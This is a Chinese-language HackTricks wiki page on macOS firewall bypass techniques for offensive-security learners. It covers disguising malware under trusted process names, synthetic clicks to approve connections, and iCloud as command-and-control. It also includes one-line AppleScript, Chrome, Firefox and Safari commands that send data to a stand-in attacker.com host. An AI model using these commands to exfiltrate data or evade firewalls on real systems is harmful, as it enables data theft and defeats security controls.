# macOS Bypassing Firewalls

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 发现的技术

以下技术在某些macOS防火墙应用程序中可行。

### 滥用白名单名称

* 例如，将恶意软件命名为众所周知的macOS进程名称，如\*\*`launchd`\*\*

### 合成点击

* 如果防火墙要求用户授权，使恶意软件**点击允许**

### **使用苹果签名的二进制文件**

* 像\*\*`curl`**这样的，还有其他像**`whois`\*\*这样的

### 众所周知的苹果域名

防火墙可能允许连接到众所周知的苹果域名，如\*\*`apple.com`**或**`icloud.com`\*\*。iCloud可能被用作C2。

### 通用绕过

一些尝试绕过防火墙的想法

### 检查允许的流量

了解允许的流量将帮助您识别潜在的白名单域或允许访问它们的应用程序。

```bash
lsof -i TCP -sTCP:ESTABLISHED
```

### 滥用 DNS

DNS 解析是通过已签名的 **`mdnsreponder`** 应用程序完成的，很可能会被允许与 DNS 服务器联系。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-694a810b5e17473880aa0f01476215baa01f29b7%2Fimage%20(1)%20(1)%20(6).png?alt=media" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>

### 通过浏览器应用程序

* **oascript**

```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```

* 谷歌浏览器

{% code overflow="wrap" %}

```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```

{% endcode %}

* 火狐浏览器

```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```

* Safari

```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```

### 通过进程注入

如果您可以将代码注入到允许连接到任何服务器的进程中，您可以绕过防火墙保护：

{% content-ref url="macos-proces-abuse" %}
[macos-proces-abuse](https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse)
{% endcontent-ref %}

## 参考资料

* <https://www.youtube.com/watch?v=UlT5KFTMn2k>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
